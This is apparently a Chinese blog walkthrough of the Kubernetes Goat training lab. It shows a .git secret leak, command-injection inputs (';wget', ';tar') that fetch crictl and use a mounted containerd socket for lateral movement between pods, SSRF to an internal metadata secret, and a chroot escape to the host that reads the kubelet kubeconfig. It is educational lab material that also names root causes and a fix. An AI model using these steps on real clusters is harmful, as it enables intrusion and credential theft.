前言
Kubernetes Goat[1]被设计成一个故意易受攻击的集群环境,用于学习和实践Kubernetes安全性。搭建的过程,这里就忽略了。
一、Sensitive keys in codebases
代码库中的敏感密钥。
场景描述:
Developers tend to commit sensitive information to version control systems. As we are moving towards CI/CD and GitOps systems, we tend to forgot identifying sensitive information in code and commits. Let’s see if we can find something cool here!
.git信息泄露
首先,信息泄露,先进行目录扫描。

下载.git的文件。
1 | git-dumper http://localhost:1230/.git k8s-goat-git |

1 | cd k8s-goat-git |

当切换到d7c173ad183c574109cd5c4c648ffe551755b576的时候,发现了key的邪路。
1 | git checkout d7c173ad183c574109cd5c4c648ffe551755b576 |

二、DIND (docker-in-docker) exploitation
场景介绍:
Most of the CI/CD and pipeline system which use Docker and build containers for you with in the pipeline use something called DIND (docker-in-docker). Here in this scenario, we try to exploit and gain access to host system.
大多数 CI/CD 和流水线系统都使用底层主机容器运行时,通过一种名为 DIND(Docker-in-Docker)的技术,利用 UNIX 套接字在流水线内部构建容器。在本场景中,我们尝试利用这种配置错误,通过逃逸出 Docker 容器来获取对工作节点主机系统的访问权限。
命令注入

发现是命令注入漏洞。
容器逃逸,横向移动
mount查看挂载的文件。

整理了一下文件的格式:
1 | rtt min/avg/max/mdev = 0.099/0.143/0.187/0.044 ms |
mount 命令是用来查看、挂载和管理文件系统的。
在 Linux 里,一切文件最终都要“挂”到某个目录上才能访问。比如硬盘分区、内存文件系统、容器里的特殊伪文件系统,都会通过 mount 挂到 /、/proc、/dev 这种路径下。
所以 mount 常见有两种用途:
- 不带参数时:查看当前系统已经挂载了哪些文件系统
- 带参数时:把某个设备或文件系统挂到某个目录上
你这里看到的内容,本质上就是 mount 的输出结果,表示“当前容器/系统里有哪些挂载点”。
我们发现在挂载的路径中倒数第二行出现了tmpfs on /custom/containerd/containerd.sock type tmpfs (rw,relatime,mode=755)。
1 | tmpfs on /custom/containerd/containerd.sock type tmpfs (rw,relatime,mode=755) |
tmpfs 表示这个挂载对象底层来自 tmpfs 文件系统。
on /custom/containerd/containerd.sock 表示在容器内,这个对象挂载到了这个路径。
type tmpfs 表示文件系统类型是 tmpfs。
(rw,relatime,mode=755) 表示挂载参数:
rw:可读写relatime:访问时间按折中策略更新mode=755:权限模式是755
一句话解释:
容器里有一个挂载点 /custom/containerd/containerd.sock,它对应的是宿主机运行时环境里的一个 containerd socket,这个 socket 所在底层文件系统是 tmpfs。
我们假设/custom/containerd/containerd.sock,它是从宿主机挂载的,我们需要与它通信才能通过 UNIX 套接字与宿主机进行通信。
我们可以使用多种方法与 containerd.sock UNIX 套接字通信。其中一些方法包括使用crictl 二进制文件[2],或者使用简单的 curl 程序。
我准备使用crictl,;uname -a查看架构为aarch64 GNU/Linux。

下载对应架构的crictl二进制文件。
1 | ;wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.35.0/crictl-v1.35.0-linux-arm64.tar.gz -O /tmp/crictl-v1.35.0-linux-arm64.tar.gz |
下载好后,解压文件。
1 | ;tar -xvf /tmp/crictl-v1.35.0-linux-arm64.tar.gz -C /tmp/ |
然后执行命令:
1 | ;/tmp/crictl -r unix:///custom/containerd/containerd.sock images |
成功了!。
结果为:
1 | IMAGE TAG IMAGE ID SIZE |
继续深入,可以列出全部的容器:
1 | ;/tmp/crictl -r unix:///custom/containerd/containerd.sock ps -a |
可以得到
1 | CONTAINER ID IMAGE ID CREATED STATE NAME ATTEMPT POD ID POD NAME POD NAMESPACE |
进入到其它的容器中:
1 | # /tmp/crictl -r unix:///custom/containerd/containerd.sock exec -s <container_id> id |
必须要带-s参数才能执行成功[3]。

这个-s非常重要,否则,crictl 将会尝试通过 HTTP 端点来运行该命令,导致执行失败。这样就可以实现了pod间的横向移动。
漏洞根本原因:
Pod的hostPath挂载点(宿主机源路径)为以下内容,就会出现这样的安全问题:
1 | /var/run/dockershim.sock |
漏洞的修复策略:
使用 Pod 安全策略或准入控制器来阻止或限制创建 hostPath 挂载点位于以下位置的 Pod:
1 | /var/run/dockershim.sock |
三、SSRF in the Kubernetes (K8S) world
场景介绍:
SSRF (Server Side Request Forgery) vulnerability became the go-to attack for cloud native environments. Here in this scenario, we will see how we can exploit an application vulnerability like SSRF to gain access to cloud instance metadata as well as internal services metdata information.
内网探测
访问内网地址:http://127.0.0.1:5000

从上图中,我发现了http://metadata-db地址。

遍历路径,找到了http://metadata-db/latest/secrets/kubernetes-goat

解码这个data,可以得到:
1 | echo "azhzLWdvYXQtY2E5MGVmODVkYjdhNWFlZjAxOThkMDJmYjBkZjljYWI=" | base64 -d |

ServiceAccount token
k8s中pod的ServiceAccount token地址一般为:
1 | /var/run/secrets/kubernetes.io/serviceaccount/token |
同目录下通常还有这几个文件:
1 | /var/run/secrets/kubernetes.io/serviceaccount/ca.crt |
分别表示:
token:访问 Kubernetes API 用的 Bearer Tokenca.crt:API Server 的 CA 证书namespace:当前 Pod 所在命名空间
所以很多容器里访问集群 API 时,会配合下面这个地址一起用:
- API 地址:
https://kubernetes.default.svc - Token 文件:
/var/run/secrets/kubernetes.io/serviceaccount/token

不过要注意两点:
1、不是所有 Pod 都一定有token
如果显式关闭了自动挂载,比如:
1 | automountServiceAccountToken: false |
那这个目录可能不存在。
2、新版本里底层机制可能是投射卷
虽然实现方式变了,但容器内默认看到的路径通常还是这条。
拓展
再多了解一些内容。
这个 token 是怎么自动挂进 Pod 的?
核心流程是:
- Pod 被创建
- Pod 会绑定一个
ServiceAccount - 如果没有特别指定,默认用当前命名空间里的
defaultServiceAccount - Kubernetes 检查这个 Pod 是否允许自动挂载 ServiceAccount token
- 如果允许,就把一个 ServiceAccount token 投射卷 挂进容器
- 容器里就能在固定路径看到
token、ca.crt、namespace
你在 Pod 里常看到的目录就是:/var/run/secrets/kubernetes.io/serviceaccount/
里面一般有:token、ca.crt和namespace。
这个token是干嘛的?它和 ServiceAccount、RBAC、kubernetes.default.svc 是什么关系?
这四者可以这样理解:
ServiceAccount:Pod 的“身份”token:证明这个身份的“凭证”kubernetes.default.svc:集群内访问 API Server 的“地址”RBAC:这个身份“能做什么”的权限规则
它们连起来就是:
Pod 带着某个 ServiceAccount 的 token,请求 kubernetes.default.svc 这个 API Server 地址,API Server 再根据 RBAC 判断它有没有权限执行该操作。
四、Container escape to the host system
特权配置,容器逃逸到宿主机系统。
场景介绍:
Most of the monitoring, tracing and debugging software require to run with extra privileges and capabilities. Here in this scenario, we will see a pod with extra capabilities and privileges including HostPath allows us to gain access to host system and provide Node level configuration to gain complete cluster compromise.
此场景的目标是利用宿主机系统上存在的配置错误,逃离正在运行的 Docker 容器。次要目标是利用宿主机系统级的访问权限,获取其他资源,如果可能的话,甚至获取容器、节点和集群级别的访问权限。

查看容器的配置信息
获取主机系统的访问权限,并获取节点级 kubeconfig 文件 /var/lib/kubelet/kubeconfig ,然后使用获取的配置查询 Kubernetes 节点。
capsh --print
执行命令capsh --print,结果如下:
1 | Current: =ep |
直接分析这个返回的结果:
1、Current: =ep
这表示当前进程的 capability 集合里,启用了 effective 和 permitted。
简单理解:
permitted (p):允许你拥有这些能力effective (e):这些能力当前正在生效,可以直接用
这里显示成 =ep,但没有逐个展开,通常表示当前有效能力集合非常大,结合下面的 Bounding set 看,基本就是拿到了大量高权限能力。
2、Bounding set = ...
这一行最关键,表示当前进程“最多还能拥有的 capabilities 上限”。
你这里的 Bounding set 非常大,包含了大量高危能力,例如:
cap_net_admin可管理网络配置,比如网卡、路由、防火墙等cap_net_raw可使用原始套接字,比如抓包、构造特殊网络报文cap_sys_ptrace可调试/跟踪其他进程cap_sys_module可装载/卸载内核模块cap_sys_admin这是最危险的一类之一,常被称为“准 root 能力大礼包” 它覆盖面极广,很多敏感系统操作都和它有关cap_sys_rawio可进行底层原始 I/O 操作cap_sys_boot可执行系统启动/重启相关操作cap_mknod可创建设备文件cap_bpf可使用 eBPF 相关能力cap_checkpoint_restore和进程恢复、命名空间等高级操作有关
这说明什么?
说明这个进程的权限不是普通容器默认权限,而是非常接近宿主机高权限进程。
正常、受限的容器通常不会有这么完整的一串能力,尤其不会轻易拿到:
cap_sys_admincap_sys_modulecap_sys_ptracecap_bpfcap_net_admin
3. Ambient set =
这是空的,表示 ambient capabilities 没有设置。
这通常不是重点问题。
空并不代表权限低,因为你前面的 effective/permitted/bounding 已经非常高了。
4. Current IAB:
这里没展开出更多内容,一般表示当前 inheritable/ambient/bounding 相关状态没有额外信息值得展示。
重点仍然是前面的能力集。
5. Securebits: 00/0x0/1'b0 (no-new-privs=0)
这一段表示安全位设置。
其中最值得关注的是:
no-new-privs=0
意思是:
当前进程没有开启 no_new_privs 限制。
简单理解:
- 如果
no_new_privs=1,进程后续执行程序时,不能再通过setuid、文件 capability 等方式获得额外权限 - 现在是
0,说明没有这个保护限制
也就是说,从防守角度看,这也是偏危险的信号。
下面几项:
secure-noroot: nosecure-no-suid-fixup: nosecure-keep-caps: nosecure-no-ambient-raise: no
都表示这些更严格的安全约束没有启用,整体上是比较“宽松”的高权限状态。
6. uid=0(root) euid=0(root)
这表示当前用户身份就是 root:
uid=0:真实用户 ID 是 rooteuid=0:有效用户 ID 也是 root
这意味着当前进程不是普通用户,而是以 root 身份运行。
7. gid=0(root) / groups=0(root)
这表示组身份也是 root 组。
mount
mount查看文件的挂载,输出结果太长了,这里忽略。
ls -al查看当前的目录。

注意到了/host-system目录。
获取主机权限
使用chroot获取主机的权限,chroot /host-system bash。

访问所有主机系统资源,例如 Docker 容器、配置等。命令crictl pods。

执行ctr -n k8s.io containers list

获取与Kubernetes节点相同的权限
Kubernetes 节点配置位于默认路径,节点级 kubelet 使用该路径与 Kubernetes API 服务器通信。如果您可以使用此配置,您将获得与 Kubernetes 节点相同的权限。
1 | cat /etc/kubernetes/kubelet.conf |

可以使用 kubectl 命令,利用已获得的配置来探索其他资源。
执行命令kubectl --kubeconfig /etc/kubernetes/kubelet.conf get all -n kube-system。
用 /etc/kubernetes/kubelet.conf 里的认证身份连接 Kubernetes API Server,查看 kube-system 命名空间中的常见资源对象
输出的结果为:
1 | root@system-monitor-deployment-866f697c75-2wzd4:/# kubectl --kubeconfig /etc/kubernetes/kubelet.conf get all -n kube-system |
拿 kubelet 这份配置文件里的身份,去查 Kubernetes 系统命名空间里有哪些常见资源,发现连上了 API Server,但当前身份是节点身份 system:node:my-k8s-lab-worker,它只有受限权限,所以只能看到一部分资源,其他资源被 RBAC 拒绝了。
下面再看其它的信息,执行kubectl --kubeconfig /etc/kubernetes/kubelet.conf get nodes。

你当前使用的是节点 my-k8s-lab-worker 的 kubelet 身份,这个身份可以连接 Kubernetes API,但它没有权限列出全体节点,只允许访问它自己的 Node 对象。
五、Docker CIS benchmarks analysis
六、Kubernetes CIS benchmarks analysis
七、Attacking private registry
八、NodePort exposed services
九、Analyzing crypto miner container
十、Kubernetes namespaces bypass
十一、Gaining environment information
十二、DoS the Memory/CPU resources
十三、Hacker container preview
十四、Hidden in layers
十五、RBAC least privileges misconfiguration
十六、KubeAudit - Audit Kubernetes clusters
十七、Falco - Runtime security monitoring & detection
十八、Popeye - A Kubernetes cluster sanitizer
十九、Secure network boundaries using NSP
二十、Cilium Tetragon - eBPF-based Security Observability and Runtime Enforcement
二十一、Securing Kubernetes Clusters using Kyverno Policy Engine
参考
k8s goat靶场 https://github.com/madhuakula/kubernetes-goat ↩︎
crictl工具 https://github.com/kubernetes-sigs/cri-tools/releases ↩︎
EXPLOIT_CONTAINERD_SOCK https://kubehound.io/reference/attacks/EXPLOIT_CONTAINERD_SOCK/ ↩︎